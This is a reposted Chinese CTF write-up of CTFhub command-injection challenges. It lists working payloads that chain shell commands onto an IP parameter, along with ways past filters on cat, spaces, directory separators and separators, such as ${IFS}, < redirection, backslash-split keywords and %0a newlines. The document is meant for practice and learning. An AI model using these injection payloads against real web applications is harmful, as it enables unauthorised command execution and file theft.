自学内容网 自学内容网

CTFhub RCE命令注入学习

命令注入

无过滤

127.0.0.1|ls

查看页面源代码找flag

过滤cat

一、解题思路
当cat被过滤后,可以使用一下命令进行读取文件的内容
(1)more:一页一页的显示的显示档案内容
(2)less:与more类似,但是比more更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出tac是cat的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体的内容

127.0.0.1|less flag_1071774546280.php

过滤空格

可是回显的是空格被过滤了,那么使用<或${IFS}试试

127.0.0.1|cat<flag_2557136742408.php

过滤目录分隔符

发现该文件夹中有一个名为flag_38323213124750.php的文件

127.0.0.1;cd flag_is_here;cat f*

过滤运算符

127.0.0.1;ls

127.0.0.1;cat flag_4418564522192.php

综合过滤练习

这关是比较好玩的

直接使用逗号分隔;进行分隔,执行ls命令,发现逗号;被过滤

命令分隔符的绕过姿势
;
%0a
%0d
&
那我们使用%0a试试,发现ls命令被成功执行

http://challenge-40d926e9e3bcab60.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0als

会进行url编码直接在上面插入

?ip=127.0.0.1%0acd${IFS}fla\g_is_here%0als

读取的时候发现过滤了cat,使用less绕过

http://challenge-40d926e9e3bcab60.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd${IFS}fla\g_is_here%0aless${IFS}fla\g_271482286916615.php

方法二
使用通配符进行绕过


原文地址:https://blog.csdn.net/2301_77012231/article/details/143730078

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!